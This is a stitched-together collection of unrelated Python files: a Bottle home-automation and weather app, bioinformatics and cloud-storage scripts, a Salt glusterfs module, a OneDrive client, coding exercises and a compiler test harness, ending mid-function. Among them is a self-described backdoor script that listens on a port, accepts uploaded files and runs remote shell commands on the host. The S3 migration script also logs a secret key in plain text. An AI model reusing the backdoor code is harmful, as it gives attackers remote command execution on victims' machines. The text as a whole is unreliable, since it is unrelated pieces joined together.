def recursive_tf_component_check(group_of_tensors):
    if is_tf_op(group_of_tensors) or is_tf_tensor(group_of_tensors):
        return True

    if isinstance(group_of_tensors, list):
        return all([recursive_tf_component_check(elem) for elem in group_of_tensors])

    if isinstance(group_of_tensors, dict):
        return all([recursive_tf_component_check(elem) for _, elem in group_of_tensors.items()])

    return False

def smooth_array(arr, window=10, filter='const'):
    import numpy as np
    new_arr = []

    if filter == 'const':
        smooth = lambda x: np.mean(x)
    else:
        raise NotImplementedError

    for i in range(len(arr)):
        win_left = window//2
        win_right = win_left if 2*win_left == window else win_left + 1
        left_margin = max(i - win_left, 0)
        right_margin = min(i + win_right, len(arr))
        # Use -len(arr) so that numpy knows where to stop the slice
        win_slice = arr[left_margin:right_margin]

        new_arr.append(smooth(win_slice))

    return new_arr


# vim: set fileencoding=utf-8 :

import bottle
import sqlite3
import json
from datetime import datetime
import urllib.request
import locale
import subprocess
import os
from . import voice

locale.setlocale(locale.LC_ALL, 'ru_RU.UTF-8')

if 'WEBAPP_DEBUG' in os.environ:
    bottle.debug(True)

DB_PATH = os.environ['YAHA_DB_PATH']

@bottle.route('/rest/tariffs')
def meters():
    conn = sqlite3.connect(DB_PATH)
    cur = conn.execute('SELECT * FROM tariffs ORDER BY created desc')
    bottle.response.content_type = 'application/json'
    return json.dumps(cur.fetchall(), indent=2)

@bottle.route('/rest/meters')
def meters():
    conn = sqlite3.connect(DB_PATH)
    cur = conn.execute('SELECT * FROM meters ORDER BY created desc LIMIT 6')
    bottle.response.content_type = 'application/json'
    return json.dumps(cur.fetchall(), indent=2)

@bottle.route('/rest/meters/stat/<cnt:int>')
def meters_stat(cnt):
    resp = {'cold': [], 'hot': [], 'wh': [], 'waterp': [], 'whp': []}

    conn = sqlite3.connect(DB_PATH)
    cur = conn.execute('SELECT * FROM meters ORDER BY created desc')

    item = cur.fetchone()

    for i in range(cnt):
        item2 = cur.fetchone()
        if item and item2:
            created = datetime.strptime(item2[1], '%Y-%m-%d').timestamp() * 1000
            cold = item[2] - item2[2]
            hot = item[3] - item2[3]
            wh = item[4] - item2[4]

            tariffs = conn.execute('SELECT * FROM tariffs WHERE id=?',
                        (item[5],)).fetchone()
            waterp = (cold + hot ) * (tariffs[2] + tariffs[3]) + \
                        (hot * tariffs[4])

            if(wh > 151):
                t = tariffs[6]
            else:
                t = tariffs[5]

            whp = 151 * tariffs[5] + t * (wh - 151)

            resp['cold'].append([created, cold])
            resp['hot'].append([created, hot])
            resp['wh'].append([created, wh])
            resp['waterp'].append([created, round(waterp)])
            resp['whp'].append([created, round(whp)])

            item = item2
        else:
            break

    bottle.response.content_type = 'application/json'
    return json.dumps(resp, indent=2)

@bottle.route('/rest/meters', method='POST')
def meters_add():
    conn = sqlite3.connect(DB_PATH)
    conn.execute('INSERT INTO meters (created, cold, hot, wh, tariff) \
        VALUES (?, ?, ?, ?, ?)',
        (bottle.request.forms['created'],
         bottle.request.forms['cold'],
         bottle.request.forms['hot'],
         bottle.request.forms['wh'],
         bottle.request.forms['tariff']))
    conn.commit()
    conn.close()

def wind_arrow(deg):
    if deg > 337.5 or deg < 22.5:
        arr = 0x21D3    # DOWNWARDS DOUBLE ARROW
    elif deg > 292.5:
        arr = 0x21D8    # SOUTH EAST DOUBLE ARROW
    elif deg > 247.5:
        arr = 0x21D2    # RIGHTWARDS DOUBLE ARROW
    elif deg > 202.5:
        arr = 0x21D7    # NORTH EAST DOUBLE ARROW
    elif deg > 157.5:
        arr = 0x21D1    # UPWARDS DOUBLE ARROW
    elif deg > 112.5:
        arr = 0x21D6    # NORTH WEST DOUBLE ARROW
    elif deg > 67.5:
        arr = 0x21D0    # LEFTWARDS DOUBLE ARROW
    elif deg > 22.5:
        arr = 0x21D9    # SOUTH WEST DOUBLE ARROW

    return chr(arr)

def owm_json(slot):
    if slot == 'current':
        url = 'http://api.openweathermap.org/data/2.5/weather?id=687700&lang=ru'
    elif slot == 'hourly':
        url = 'http://api.openweathermap.org/data/2.5/forecast?id=687700&lang=ru'
    elif slot == 'daily':
        url = 'http://api.openweathermap.org/data/2.5/forecast/daily?id=687700&lang=ru'
    elif slot == 'history':
        url = 'http://api.openweathermap.org/data/2.5/history/city?id=687700&type=hour'

    return json.loads(urllib.request.urlopen(url).read().decode("utf-8"))

@bottle.route('/rest/weather')
def forecast():
    resp = {}

    # http://bugs.openweathermap.org/projects/api/wiki/Weather_Condition_Codes
    #
    # 800 - sky is clear
    # 801 - few clouds
    # 802 - scattered clouds
    # 803 - broken clouds
    # 804 - overcast clouds

    warn = ''

    owm = owm_json('hourly')

    resp['hourly'] = []

    for item in owm['list'][1:7]:
        resp['hourly'].append([
                datetime.fromtimestamp(item['dt']).strftime('%H:%M'),
                item['weather'][0]['icon'],
                item['weather'][0]['description'] + ' ' +
                str(round(item['main']['temp'] - 273.15, 1)) + ' ° ' +
                str(item['main']['humidity']) + '% ' +
                str(round(item['wind']['speed'], 1)) + ' м/с ' +
                wind_arrow(item['wind']['deg'])
            ])
        if item['weather'][0]['id'] not in (800, 801, 802, 803, 804):
            warn = ' \u26A0'

    owm = owm_json('current')

    resp['current'] = [
                datetime.fromtimestamp(owm['dt']).strftime('%H:%M'),
                owm['weather'][0]['icon'],
                owm['weather'][0]['description'] + ' ' +
                str(round(owm['main']['temp'] - 273.15, 1)) + ' ° ' +
                str(owm['main']['humidity']) + '% ' +
                str(round(owm['wind']['speed'], 1)) + ' м/с ' +
                            wind_arrow(owm['wind']['deg']) + warn
              ]

    owm = owm_json('daily')

    resp['daily'] = []

    for item in owm['list'][1:]:
        resp['daily'].append([
                datetime.fromtimestamp(item['dt']).strftime('%A (%d.%m)'),
                item['weather'][0]['icon'],
                item['weather'][0]['description'] + ' ' +
                str(round(item['temp']['max'] - 273.15, 1)) + chr(0x2026) +
                str(round(item['temp']['min'] - 273.15, 1)) + ' ° ' +
                str(item['humidity']) + '% ' +
                str(round(item['speed'], 1)) + ' м/с ' +
                wind_arrow(item['deg'])
            ])

    owm = owm_json('history')

    resp['history'] = []

    for item in owm['list']:
        resp['history'].append([
                item['dt'] * 1000, round(item['main']['temp'] - 273.15, 1)])

    bottle.response.content_type = 'application/json; charset=utf-8'
    return json.dumps(resp, indent=2, ensure_ascii=False)

@bottle.route('/rest/capture')
def capture():
        bottle.response.content_type = 'image/jpeg'

        p = subprocess.Popen(['fswebcam', '--quiet', '--skip', '1',
                                '--scale', '290x237',
                                '--jpeg', '50', '-'],
                                stdout=subprocess.PIPE)

        return p.stdout.read()

@bottle.post('/rest/control/audiotest')
def audiotest():
    voice.chime()
    voice.now()

application = bottle.app()


class Node:
    def __init__(self,val):
        self.val=val
        self.left=None
        self.right=None

def Queue():
    queue=[]
    return queue
def Enqueue(q,s):
    q.append(s)
def Dequeue(q):
    return q.pop(0)
def Size(q):
    return len(q)
def check(node1,node2):

    queue1=Queue()
    queue2=Queue()

    Enqueue(queue1,node1)
    Enqueue(queue2,node2)

    while(Size(queue1) and Size(queue2)):

        rem1=Dequeue(queue1)
        rem2=Dequeue(queue2)

        if rem1 and rem2:
            if rem1.val!=rem2.val:
                return False
            if rem1.left:
                Enqueue(queue1,rem1.left)

                Enqueue(queue2,rem2.left)
            if rem1.right:
                Enqueue(queue1,rem1.right)

                Enqueue(queue2,rem2.right)
        else:
            return False
    return True

root1 = Node(1)
root1.left = Node(2)
root1.right = Node(3)
root1.left.left = Node(4)
root1.left.right = Node(5)

root2 = Node(1)
root2.left = Node(2)
root2.right = Node(3)
root2.left.left = Node(4)
root2.left.right = Node(5)

print(check(root1,root2))


#! python3
# qime_table_to_nmds.py
# Simple script that will read in a QIIME table file (originating from the summarize_taxa_through_plots.py script or equivalent) and
# create a table that is amenable to NMDS. The arguments needed for this script the input and output file names.
# If you are choosing to look at genus level,  you should use the L6 file. Other levels should similarly use the appropriate L# file.
# Note that this script will find the lowest level possible in whatever file you feed it. That means a genus level NMDS may contain
# entries from higher levels if QIIME did not assign reads to genus level.

import re, os, argparse

regex = re.compile(r'\w__([A-Za-z0-9-_\[\]\s]+?)(;|$)')

##### USER INPUT SECTION

usage = """%(prog)s reads in user specified QIIME taxa summary files
(typically obtained through output of summarize_taxa_through_plots.py) and
creates an output file that can be read by VEGAN in R.
"""
p = argparse.ArgumentParser(description=usage)
p.add_argument("-i", "--i", "-input", "--input", dest="input",
                  help="QIIME table (L2-L6)")
p.add_argument("-o", "--o", "-output", "--output", dest="output",
                  help="output file name")
args = p.parse_args()

# Obtain data from arguments
fileName = args.input
outName = args.output

#### CORE LOOP
savedDicts = []

# Load the qiime file
qiimeFile = open(fileName, 'r').read().split('\n')
if qiimeFile[0].startswith('# Constructed from biom file'):     # Remove useless row from start of file
        del qiimeFile[0]
while qiimeFile[-1] == '':                                      # Remove blank rows from end of file
        del qiimeFile[-1]
# Pull out qiime header with sample IDs for later use
qiimeFileHeader = qiimeFile[0].split('\t')
if qiimeFileHeader[0] == '#OTU ID':
        del qiimeFileHeader[0]

# Obtain counts from file
savedDicts = []
for i in range(1, len(qiimeFile[0].split('\t'))):
        sampleDict = {}
        for line in qiimeFile:
                # Skip header
                if line.startswith('#'):
                        continue
                # Handle unassigned
                if line.startswith('Unassigned'):
                        name = 'Unassigned'
                        line = line.split('\t')
                        sampleDict[name] = float(line[i])
                        continue
                # Remove 'other' labels
                #line = line.replace(';Other', '')
                sl = line.split('\t')
                # Get deepest node
                nodes = regex.findall(sl[0])
                name = nodes[-1][0]
                if name not in sampleDict:
                        sampleDict[name] = float(sl[i])
                else:
                        sampleDict[name] += float(sl[i])
        # Add into the overall dictionary list
        savedDicts.append(sampleDict)

#### Format an output table from the saved dictionaries

# Pull out all entries found in the data
taxonomyList = []
for dictionary in savedDicts:
    for entry in dictionary.items():
        taxonomyList.append(entry[0])
taxonomyList = sorted(list(set(taxonomyList)))

# Tabulate results
header = taxonomyList[:]
header.insert(0, 'OTU ID')
table = []
table.append(header)
for i in range(0, len(qiimeFileHeader)):
    sampleName = qiimeFileHeader[i]
    row = [sampleName]
    for entry in taxonomyList:
        if entry in savedDicts[i]:
            row.append(str(savedDicts[i][entry]))
        else:
            row.append('0')
    table.append(row)

# Output file
for x in range(len(table)):
    table[x] = '\t'.join(table[x])
output = '\n'.join(table)
outFile = open(outName, 'w')
outFile.write(output)
outFile.close()

print('Finished')


# -*- coding: utf-8 -*-
'''
Manage glusterfs pool.
'''

# Import python libs
from __future__ import generators
import logging
import socket

# Import salt libs
import salt.utils.cloud as suc

log = logging.getLogger(__name__)

def __virtual__():
    '''
    Only load this module if the gluster command exists
    '''
    return 'glusterfs' if 'glusterfs.list_volumes' in __salt__ else False

def peered(name):
    '''
    Check if node is peered.

    name
        The remote host with which to peer.

    .. code-block:: yaml

        peer-cluster:
          glusterfs.peered:
            - name: two

        peer-clusters:
          glusterfs.peered:
            - names:
              - one
              - two
              - three
              - four
    '''
    ret = {'name': name,
           'changes': {},
           'comment': '',
           'result': False}

    peers = __salt__['glusterfs.list_peers']()

    if name in peers:
        ret['result'] = True
        ret['comment'] = 'Host {0} already peered'.format(name)
        return ret
    elif __opts__['test']:
        ret['comment'] = 'Peer {0} will be added.'.format(name)
        ret['result'] = None
        return ret

    if suc.check_name(name, 'a-zA-Z0-9._-'):
        ret['comment'] = 'Invalid characters in peer name.'
        ret['result'] = False
        return ret

    ret['comment'] = __salt__['glusterfs.peer'](name)

    newpeers = __salt__['glusterfs.list_peers']()
    if name in newpeers:
        ret['result'] = True
        ret['changes'] = {'new': newpeers, 'old': peers}
    elif name == socket.gethostname().split('.')[0]:
        ret['result'] = True
        return ret
    else:
        ret['result'] = False
    return ret

def created(name, peers=None, **kwargs):
    '''
    Check if volume already exists

    name
        name of the volume

    .. code-block:: yaml

        gluster-cluster:
          glusterfs.created:
            - name: mycluster
            - brick: /srv/gluster/drive1
            - replica: True
            - count: 2
            - short: True
            - start: True
            - peers:
              - one
              - two
              - three
              - four
    '''
    ret = {'name': name,
           'changes': {},
           'comment': '',
           'result': False}
    volumes = __salt__['glusterfs.list_volumes']()
    if name in volumes:
        ret['result'] = True
        ret['comment'] = 'Volume {0} already exists.'.format(name)
        return ret
    elif __opts__['test']:
        ret['comment'] = 'Volume {0} will be created'.format(name)
        ret['result'] = None
        return ret

    if suc.check_name(name, 'a-zA-Z0-9._-'):
        ret['comment'] = 'Invalid characters in volume name.'
        ret['result'] = False
        return ret

    if any([suc.check_name(peer, 'a-zA-Z0-9._-') for peer in peers]):
        ret['comment'] = 'Invalid characters in a peer name.'
        ret['result'] = False
        return ret

    ret['comment'] = __salt__['glusterfs.create'](name, peers, **kwargs)

    if name in __salt__['glusterfs.list_volumes']():
        ret['changes'] = {'new': name, 'old': ''}
        ret['result'] = True

    return ret

def started(name, **kwargs):
    '''
    Check if volume has been started

    name
        name of the volume

    .. code-block:: yaml

        gluster-started:
          glusterfs.started:
            - name: mycluster
    '''
    ret = {'name': name,
           'changes': {},
           'comment': '',
           'result': False}
    volumes = __salt__['glusterfs.list_volumes']()
    if not name in volumes:
        ret['result'] = False
        ret['comment'] = 'Volume {0} does not exist'.format(name)
        return ret

    if suc.check_name(name, 'a-zA-Z0-9._-'):
        ret['comment'] = 'Invalid characters in volume name.'
        ret['result'] = False
        return ret
    status = __salt__['glusterfs.status'](name)

    if status != 'Volume {0} is not started'.format(name):
        ret['comment'] = status
        ret['result'] = True
        return ret
    elif __opts__['test']:
        ret['comment'] = 'Volume {0} will be created'.format(name)
        ret['result'] = None
        return ret

    ret['comment'] = __salt__['glusterfs.start'](name)
    ret['result'] = True

    status = __salt__['glusterfs.status'](name)
    if status == 'Volume {0} is not started'.format(name):
        ret['comment'] = status
        ret['result'] = False
        return ret

    ret['change'] = {'new': 'started', 'old': ''}
    return ret


# -*- coding: utf-8 -*-
from framework.exceptions import HTTPError

from website.util.client import BaseClient
from addons.onedrive import settings
from addons.onedrive.settings import DEFAULT_ROOT_ID

import logging
logger = logging.getLogger(__name__)

class OneDriveClient(BaseClient):

    def __init__(self, access_token=None, drive_id=None):
        self.access_token = access_token
        self.drive_id = drive_id

    @property
    def _default_headers(self):
        if self.access_token:
            return {'Authorization': 'bearer {}'.format(self.access_token)}
        return {}

    @property
    def _drive_url(self):
        if self.drive_id is not None:
            return self._build_url(settings.ONEDRIVE_API_URL, 'drives', self.drive_id)
        return self._build_url(settings.ONEDRIVE_API_URL, 'drive')

    def folders(self, folder_id=None):
        """Get list of subfolders of the folder with id ``folder_id``

        API Docs:  https://docs.microsoft.com/en-us/graph/api/driveitem-list-children

        :param str folder_id: the id of the parent folder. defaults to ``None``
        :rtype: list
        :return: a list of metadata objects representing the child folders of ``folder_id``
        """

        if folder_id is None or folder_id == DEFAULT_ROOT_ID:
            url = self._build_url(self._drive_url, 'items', DEFAULT_ROOT_ID)
        else:
            url = self._build_url(self._drive_url, 'items', folder_id)
        url = url + '?$expand=children($filter=folder%20ne%20null)'

        resp = self._make_request(
            'GET',
            url,
            headers=self._default_headers,
            expects=(200, ),
            throws=HTTPError(401)
        )
        data = resp.json()
        res = data['children']

        next_url = data.get('children@odata.nextLink', None)
        while next_url is not None:
            next_resp = self._make_request(
                'GET',
                next_url,
                headers=self._default_headers,
                expects=(200, ),
                throws=HTTPError(401)
            )
            next_data = next_resp.json()
            res.extend(next_data['value'])
            next_url = next_data.get('@odata.nextLink', None)

        return res

    def user_info(self):
        """Get information about the token's owner.
        API Docs::
        https://msdn.microsoft.com/en-us/library/hh826533.aspx#requesting_info_using_rest
        https://msdn.microsoft.com/en-us/library/hh243648.aspx#user
        :rtype: dict
        :return: a dict containing metadata about the token's owner.
        """
        me_url = self._build_url(settings.ONEDRIVE_API_URL, 'me')
        me_resp = self._make_request(
            'GET',
            me_url,
            headers=self._default_headers,
            expects=(200, ),
            throws=HTTPError(401)
        )
        me_data = me_resp.json()
        logger.debug('me_data:({})'.format(me_data))

        retval = {
            'id': me_data['id'],
            'name': me_data['displayName'],
            'link': self._build_url(settings.ONEDRIVE_API_URL, 'users', me_data['id']),
            'mail': me_data['userPrincipalName'],
        }

        # get drive properties from /users/$user_id/drive endpoint
        drive_url = self._build_url(settings.ONEDRIVE_API_URL, 'users', retval['id'], 'drive')
        drive_resp = self._make_request(
            'GET',
            drive_url,
            headers=self._default_headers,
            expects=(200, ),
            throws=HTTPError(401)
        )
        drive_data = drive_resp.json()
        logger.debug('drive_data:({})'.format(drive_data))
        retval['drive_id'] = drive_data['id']

        if drive_data['driveType'] == 'personal':
            retval['name'] = '{} - OneDrive Personal'.format(retval['mail'])
        else:
            retval['name'] = '{} - {}'.format(retval['mail'], 'OneDrive for School or Business')

        logger.debug('retval:({})'.format(retval))
        return retval


#!/usr/bin/env python3
#coding: utf-8

from zencad import *
from params import *

#Переделка оригинальной стойки. Убрал скругление в изначальной модели

t = thickness

ssize = (5, t, miniservo_width + t)
shole_radius = miniservo_mount_radius
shole_up = t + miniservo_width / 2

s = box(size = ssize) - cylinder(h=t, r=shole_radius).rotateX(gr(90)).up(shole_up).forw(t).right(ssize[0]/2)

m = (
	box(miniservo_length + 5 * 2, miniservo_height, t)
	+ s.right(miniservo_length + 5)
	+ s
	+ box(t, miniservo_height, t).left(t)
	+ box(t, t, ssize[2]).left(t)
).mirrorXZ()

display(m)
show()


import os
import logging
import sys, getopt
import boto3
import requests
import time
import csv
import threading
import uuid
from botocore.client import Config
from botocore.exceptions import ClientError

logger = logging.getLogger('s3-to-minio')
logging.basicConfig(filename='s3-to-minio.log',
                            filemode='a',
                            format='%(asctime)s,%(msecs)d %(name)s %(levelname)s %(message)s',
                            datefmt='%H:%M:%S',
                            level=logging.INFO)
LOG_LEVEL = os.getenv('LOG_LEVEL', 'INFO').upper()

s3_client = boto3.client('s3')

class Main():

    bucketname = ''
    cvs_file = ''
    minio_URL = ''
    minio_access_key = ''
    minio_secret_key = ''

    @staticmethod
    def log_level(level):
        logging.basicConfig(level=getattr(logging, level))

    @staticmethod
    def create_minio_bucket(bucket_name):
        try:
            s3 = boto3.resource('s3', endpoint_url=Main.minio_URL, aws_access_key_id=Main.minio_access_key,
                                aws_secret_access_key=Main.minio_secret_key, config=Config(signature_version='s3v4'))
            logger.debug('Checking if the Bucket to upload files exists or not.')
            if (s3.Bucket(bucket_name) in s3.buckets.all()) == False:
                logger.info('Bucket not Found. Creating Bucket.')
                s3.create_bucket(Bucket=bucket_name)
        except Exception as e:
            logger.info(e)

    @staticmethod
    def upload_to_minio(bucket_name, s3_file, basename):
        logger.info('Uploading file {}.'.format(os.path.basename(s3_file)))
        i = 0
        wait_time = 1
        while i < 10:
            try:
                s3 = boto3.resource('s3', endpoint_url=Main.minio_URL, aws_access_key_id=Main.minio_access_key,
                                    aws_secret_access_key=Main.minio_secret_key, config=Config(signature_version='s3v4'))
                logger.debug('Uploading file to bucket {} minio {}'.format(bucket_name, Main.minio_URL))
                s3.Bucket(bucket_name).upload_file(basename, s3_file)
                break
            except Exception as e:
                logger.info(e)
            i += 1
            logger.info('Waiting {} seconds.'.format(wait_time))
            time.sleep(wait_time)
            wait_time *= 2

    @staticmethod
    def process_s3_file(bucketname, s3_file):
        try:
            s3 = boto3.resource('s3')
            a = uuid.uuid4()
            basename = str(a)#os.path.basename(s3_file)
            s3.Bucket(bucketname).download_file(s3_file, basename)
            Main.upload_to_minio(bucketname, s3_file, basename)
            os.remove(basename)
        except Exception as e:
            logger.info(e)

    @staticmethod
    def process_the_csv_file(csv_file_path):
        Main.create_minio_bucket(Main.bucketname)
        filename_idx = 1
        path_idx = 2
        with open(csv_file_path) as csv_file:
            csv_reader = csv.reader(csv_file, delimiter=',')
            line_count = 0
            threads = list()
            for row in csv_reader:
                line_count += 1
                if line_count == 1:
                    # Skip the first (header) line
                    continue
                basename = row[filename_idx]
                path = row[path_idx]
                if path.startswith('/'):
                    path = path[1:]
                if not path.endswith('/'):
                    path += '/'
                s3_file = path + basename
                x = threading.Thread(target=Main.process_s3_file, args=(Main.bucketname, s3_file,))
                threads.append(x)
                x.start()
                # limit the number of parallel threads
                if line_count % 100 == 0:
                    # Clean up the threads
                    logging.info ('Lines processed so far {}'.format(line_count))
                    for index, thread in enumerate(threads):
                        thread.join()

            for index, thread in enumerate(threads):
                thread.join()
                logging.info("thread %d done", index)

    @staticmethod
    def main(argv):
        help_string = 's3-to-minio.py -b <bucketname> -c <cvs file path> -m <minio URL> -a <minio access ket> -s <minio secret key>'
        try:
            opts, args = getopt.getopt(argv,"hb:c:m:a:s:",["bucket=","cvs=","minio=","access=","secret="])
        except getopt.GetoptError:
            print (help_string)
            sys.exit(2)
        for opt, arg in opts:
            if opt == '-h':
                print (help_string)
                sys.exit()
            elif opt in ("-b", "--bucket"):
                Main.bucketname = arg
            elif opt in ("-c", "--cvs"):
                Main.cvs_file = arg
            elif opt in ("-m", "--minio"):
                Main.minio_URL = arg
            elif opt in ("-a", "--access"):
                Main.minio_access_key = arg
            elif opt in ("-s", "--secret"):
                Main.minio_secret_key = arg

        Main.log_level(LOG_LEVEL)
        logger.info(Main.bucketname)
        logger.info(Main.cvs_file)
        logger.info(Main.minio_URL)
        logger.info(Main.minio_access_key)
        logger.info(Main.minio_secret_key)

        Main.process_the_csv_file(Main.cvs_file)

if __name__ == "__main__":
    Main.main(sys.argv[1:])


import unittest
import subprocess
import os.path
import os
import sys
import shutil
import glob
import argparse

from subprocess import PIPE

from typing import Dict, Any, List, Callable

def procrun(args: List[str], **kwargs) -> subprocess.CompletedProcess:
    return subprocess.run(args, stdout=PIPE, stderr=PIPE, text=True, **kwargs)

class ValeCompiler(unittest.TestCase):
    GENPATH: str = os.environ.get('GENPATH', "cmake-build-debug")

    def valestrom(self, vale_files: List[str],
                  vir_file: str) -> subprocess.CompletedProcess:
        driver = os.path.dirname(os.path.realpath(__file__)) + "/test/Driver.jar"
        # print(driver)
        driver_class = "net.verdagon.vale.driver.Driver"
        return procrun(
            [
                "java",
                "-cp",
                driver,
                driver_class,
                "build",
                "-o",
                vir_file
            ] + vale_files
        )

    def valec(self, vir_file: str,
              o_files_dir: str) -> subprocess.CompletedProcess:
        assert self.GENPATH
        valec_path = shutil.which("valec")
        if not type(valec_path) is str:
            valec_path = os.path.dirname(os.path.realpath(__file__)) + "/cmake-build-debug/valec"

        return procrun(
            [valec_path, "--verify", "--llvmir", "--output-dir",
             o_files_dir, vir_file])

    def clang(self, o_files: List[str],
              exe_file: str) -> subprocess.CompletedProcess:
        return procrun(["clang", "-o", exe_file] + o_files)

    def exec(self, exe_file: str) -> subprocess.CompletedProcess:
        return procrun([f"./{exe_file}"])

    @classmethod
    def setUpClass(cls) -> None:
        print(
            f"Using valec from {cls.GENPATH}. " +
            "Set GENPATH env var if this is incorrect",
            file=sys.stderr
        )

    def setUp(self) -> None:
        self.GENPATH: str = type(self).GENPATH

    def compile_and_execute(
            self, vale_files: str) -> subprocess.CompletedProcess:

        # parser = argparse.ArgumentParser(description='Compiles a Vale program.')
        # parser.add_argument('integers', metavar='N', type=int, nargs='+',
        #                     help='an integer for the accumulator')
        # parser.add_argument('--sum', dest='accumulate', action='store_const',
        #                     const=sum, default=max,
        #                     help='sum the integers (default: find the max)')
        # parser.add_argument('--sum', dest='accumulate', action='store_const',
        #                     const=sum, default=max,
        #                     help='sum the integers (default: find the max)')
        # args = parser.parse_args()

        build_dir = f"build"

        if os.path.exists(build_dir):
            shutil.rmtree(build_dir)
        os.makedirs(build_dir)

        vir_file = f"build.vir"
        proc = self.valestrom(vale_files, vir_file)
        # print(proc.stdout)
        # print(proc.stderr)
        if proc.returncode == 0:
          pass
        elif proc.returncode == 22:
          print(proc.stdout + "\n" + proc.stderr)
          sys.exit(22)
        else:
          print(f"Internal error while compiling {vale_files}:\n" + proc.stdout + "\n" + proc.stderr)
          sys.exit(proc.returncode)

        proc = self.valec(vir_file, build_dir)
        self.assertEqual(proc.returncode, 0,
                         f"valec couldn't compile {vir_file}:\n" +
                         proc.stdout + "\n" + proc.stderr)

        exe_file = f"a.out"
        o_files = glob.glob(f"{build_dir}/*.o") + [
              os.path.dirname(os.path.realpath(__file__)) + "/src/valestd/assert.c",
              os.path.dirname(os.path.realpath(__file__)) + "/src/valestd/stdio.c",
              os.path.dirname(os.path.realpath(__file__)) + "/src/valestd/str.c",
              os.path.dirname(os.path.realpath(__file__)) + "/src/valestd/census.c",
              os.path.dirname(os.path.realpath(__file__)) + "/src/valestd/weaks.c"
            ]
        proc = self.clang(o_files, exe_file)
        self.assertEqual(proc.returncode, 0,
                         f"clang couldn't compile {o_files}:\n" +
                         proc.stdout + "\n" + proc.stderr)

        print("Compiled to " + exe_file)

if __name__ == '__main__':
    ValeCompiler().compile_and_execute(sys.argv[1:])


#!/usr/bin/env python3
# -*- coding:utf-8 -*-
# author: bigfoolliu

"""
简单后门程序

"""

import sys
import socket
import threading
import subprocess
import getopt

listen = False
command = False
upload = False

execute = ''
target = ''
upload_destination = ''
port = 0

def usage():
    print('BHP Net Tool')
    print('Usage: back_door.py -t target_port -p port')

def client_sender(buffer):
    """
    向受害者机器发送数据
    :param buffer: bytes
    """
    global target
    global port
    client = socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM)
    try:
        client.connect((target, port))
        if len(buffer):
            client.send(buffer)
        while True:
            recv_len = 1
            response = ''
            while recv_len:
                data = client.recv(4096)
                recv_len = len(data)
                response += data

                if recv_len < 4096:
                    break

            print(f'response:{response}')

            buffer = input('')
            buffer += '\n'
            client.send(bytes(buffer))
    except Exception as e:
        print(f'exception: {e}')
        print('closed')
        client.close()

def server_loop():
    """监听"""
    global target
    global port
    if not len(target):
        target = '0.0.0.0'

    server = socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM)
    server.bind((target, port))
    server.listen(5)

    while True:
        client_socket, addr = server.accept()
        client_thread = threading.Thread(target=client_handler, args=(client_socket,))
        client_thread.start()

def client_handler(client_socket):
    global upload_destination
    global upload
    global command

    if len(upload_destination):
        file_buffer = ''
        while True:
            data = client_socket.recv(1024)
            if not data:
                break
            else:
                file_buffer += data
        try:
            with open(upload_destination, 'wb') as f:
                f.write(bytes(file_buffer))
            client_socket.send(f'success saved file to {upload_destination}')
        except Exception as e:
            print(f'save file to {upload_destination} failed: {e}')
            return
    if len(execute):
        output = run_command(execute)
        client_socket.send(output)

    if command:
        while True:
            client_socket.send(b'<BHP:#>')
            cmd_buffer = ''
            while '\n' not in cmd_buffer:
                cmd_buffer += client_socket.recv(1024).decode('utf-8')
            response = run_command(cmd_buffer)
            client_socket.send(response)

def run_command(cmd):
    """运行命令行命令"""
    _command = cmd.rstrip()
    try:
        output = subprocess.check_output(_command, stderr=subprocess.STDOUT, shell=True)
    except Exception as e:
        print(f'run command exception: {e}')
        return
    return output

def main():
    global listen
    global execute
    global target
    global port
    global upload_destination
    global command

    if not len(sys.argv[1:]):
        usage()

    try:
        opts, args = getopt.getopt(args=sys.argv[1:], shortopts='hle:t:p:cu',
                                   longopts=['help', 'listen', 'execute', 'target', 'port', 'command', 'upload'])
    except getopt.GetoptError as e:
        print(e)
        usage()
        return

    for o, a in opts:
        if o in ['h', '--help']:
            usage()
        elif o in ['-l', '--listen']:
            listen = True
        elif o in ['-e', '--execute']:
            execute = a
        elif o in ['-c', '--commandshell']:
            command = True
        elif o in ['-t', '--target']:
            target = a
        elif o in ['-p', '--port']:
            port = int(a)
        else:
            assert False, 'Unhandled option'

    # 从标准中获取输入数据
    if not listen and len(target) and port > 0:
        buffer = sys.stdin.read()
        client_sender(buffer)

    # 监听
    if listen:
        server_loop()

if __name__ == '__main__':
    main()


"""
Valid Parentheses
https://leetcode.com/explore/interview/card/facebook/5/round-1-phone-interview/302/

_author:            Kashif Memon
_python_version:    3.7.2
"""

class Solution:
    def isValid(self, s: str) -> bool:
        paren = {")": "(",
                 "}": "{",
                 "]": "["
                 }
        stack = []

        for ch in s:
            if ch in paren.values():
                stack.append(ch)
            else:
                if not stack: return False
                if not stack.pop() == paren[ch]:
                    return False

        return True if not stack else False

def main():
    print(Solution().isValid("{"))

if __name__ == "__main__":
    main()


from functools import wraps
from inspect import signature

from .common import project_type_int_to_str
from .db.project_api import get_project_metadata_bare
from .exceptions import SABaseException
from .ml.ml_models import search_models

def project_metadata(func):

    sig = signature(func)

    @wraps(func)
    def inner(*args, **kwargs):
        new_kwargs = sig.bind(*args, **kwargs)
        include_complete_image_count = False
        new_kwargs = new_kwargs.arguments

        if func.__name__ == 'run_training':
            include_complete_image_count = True

        if isinstance(new_kwargs['project'], str):
            new_kwargs['project'] = get_project_metadata_bare(
                new_kwargs['project'], include_complete_image_count
            )

        elif isinstance(new_kwargs['project'], list):
            types = (type(x) for x in new_kwargs['project'])
            types = set(types)
            if len(types) != 1:
                raise SABaseException(
                    0,
                    "The 'project' argument should be a dict, a string, a list of strings or a list of dicts"
                )
            current_chosen_type = types.pop()
            if current_chosen_type is str:
                for idx, item in enumerate(new_kwargs['project']):
                    new_kwargs['project'][idx] = get_project_metadata_bare(
                        item,
                        include_complete_image_count=include_complete_image_count
                    )
            elif current_chosen_type is not dict:
                raise SABaseException(
                    0,
                    "The 'project' argument should be a dict, a string, a list of strings or a list of dicts"
                )
        elif not isinstance(new_kwargs['project'], dict):
            raise SABaseException(
                0,
                "The 'project' argument should be a dict, a string, a list of strings or a list of dicts"
            )
        return func(**new_kwargs)

    return inner

def model_metadata(func):

    sig = signature(func)

    @wraps(func)
    def inner(*args, **kwargs):
        new_kwargs = sig.bind(*args, **kwargs)
        new_kwargs = new_kwargs.arguments

        if 'model' in new_kwargs:
            model_keyword = 'model'
        else:
            model_keyword = 'base_model'
        new_model_arg = new_kwargs[model_keyword]
        if isinstance(new_kwargs[model_keyword], str):

            all_models = search_models(
                include_global=True, name=new_kwargs[model_keyword]
            )
